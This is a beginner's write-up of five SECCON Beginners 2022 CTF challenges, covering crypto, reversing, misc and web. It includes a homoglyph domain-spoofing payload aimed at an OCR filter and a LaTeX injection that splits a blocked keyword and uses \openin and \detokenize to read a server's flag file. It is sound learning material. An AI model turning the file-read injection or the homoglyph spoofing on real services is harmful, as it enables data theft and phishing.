This year I had a chance to participate in SECCON Beginners 2022 CTF (after a bit of hiatus from cybersecurity).
This time, I finally decided to do a writeup. This will be my first writeup so I’m sorry for any mistakes.
I’ll explain the challenges in order which I solved them. Which are:
crypto: CoughingFox
reversing: Quiz
misc: phisher
misc: hitchhike4b
web: textex
CoughingFox
For this challenge we are given the following source code:
from random import shuffle
flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
cipher = []
for i in range(len(flag)):
f = flag[i]
c = (f + i)**2 + i
cipher.append(c)
shuffle(cipher)
print("".join(map(chr, cipher)))
And the following output:
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
If we look at this part of the source code, we would know how the cipher text was constructed
for i in range(len(flag)):
f = flag[i]
c = (f + i)**2 + i
cipher.append(c)
shuffle(cipher)
The cipher was constructed by taking the byte value of each character of the flag, add it by the index, power it by 2, then add the index to it again. Finally, the cipher array is shuffled.
We can identify each entry by subtracting each entry with the corresponding index, and square root it. But since the array is shuffled, we can loop the array 49 times (the length of the flag), subtract the number with the inner iterator (j), then subtract it again to get the original number in each loop. idx
array saves the index of each character that was discovered. And text
array saves the character in byte representation. The flag variable is here for reference.
import math
idx = []
text = []
flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
for i in range(len(flag)):
for j in range(len(flag)):
if((math.sqrt(cipher[i]-j)-j).is_integer()):
idx.append(j)
text.append(math.floor(math.sqrt(cipher[i]-j))-j)
Finally, since the saved index was the order that was discovered, we need to rearrage them to be the correct order.
ans = []
for i in range(len(flag)):
for j in range(len(flag)):
if i == idx[j]:
ans.append(text[j])
print("".join(map(chr, ans)))
flag:
ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
Quiz
In this challenge we are given a binary with the flag inside.
A simple call of strings
reveals the flag
$ strings quiz | grep ctf
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
phisher
In this challenge, the program will convert the text we input into an image, then use OCR to read it as text again.
The goal here is to fool the program using similar characters while technically not inputting any of the actual characters.
By using a Homoglyph Attack Generator like this one I’ve been able to come up with the payload: ωωω․ехаⅿрIе․сοⅿ
hitchhike4b
When we execute the program, we are dropped into the python’s interative help
tool and are given the source code with flag hidden.
# Source Code
import os
os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)
if __name__ == "__main__":
flag1 = "********************FLAG_PART_1********************"
help() # I need somebody ...
if __name__ != "__main__":
flag2 = "********************FLAG_PART_2********************"
help() # Not just anybody ...
From the source code, we know that the pager has been changed to the cat
command and that flag1
variable will be set when the scope is __main__
.
If we type __main__
into the help tool, we can see the data and important information of the running program.
help> __main__
Help on module __main__:
NAME
__main__
DATA
__annotations__ = {}
flag1 = 'ctf4b{53cc0n_15_1n_m'
FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
We get half the flag here, as well as the file name. If we use the program name (file name without extension) to get the program’s help information, we get dropped into another help prompt (this seems to be due to another help()
getting executed, though I’m not sure). If you exit from that prompt, the contents of flag2
can be seen.
help> q
You are now leaving help and returning to the Python interpreter.
If you want to ask for help on a particular object directly from the
interpreter, you can type "help(object)". Executing "help('string')"
has the same effect as typing a particular string at the help> prompt.
Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:
NAME
app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
DATA
flag2 = 'y_34r5_4nd_1n_my_3y35}'
FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py
help>
flag:
ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}
textex
This one will probably be easier if you know some LaTeX. However, I don’t, so there were a lot of trial-and-error going on.
To put it simply, in this challenge, we are given access to a LaTeX to pdf converter site. We are also given the source code without the flag.
We can see that the flag
file is next to the server program app.py
$ tree app
app
├── Dockerfile
├── app.py
├── flag
├── requirements.txt
├── templates
│ └── index.html
├── tex_box
│ ├── error
│ │ ├── error.pdf
│ │ ├── error.tex
│ │ └── ramen.jpg
│ └── error.pdf
└── uwsgi.ini
3 directories, 10 files
If we examine app.py
we can find that the word flag
is blocked
[...]
try:
# No flag !!!!
if "flag" in tex_code.lower():
tex_code = ""
[...]
However we can get around that by defining part of the word, then combining it
\def \fla {fla}
\def \g {g}
\def \f {\fla\g}
In LaTeX we can import text by using the \input{}
command, however, since the flag contains characters {
, }
, and _
, it will get parsed as LaTeX syntax and throw errors. To circumvent that we can detokenize the text.
\documentclass{article}
\begin{document}
\newread\file
\openin\file=\f
\read\file to\fileline
\detokenize\expandafter{\fileline}
\closein\file
\end{document}
The result is detokenized flag.
Since we know the flag format, we can reconstruct the flag from what we see.
flag:
ctf4b{15_73x_pr0n0unc3d_ch0u?}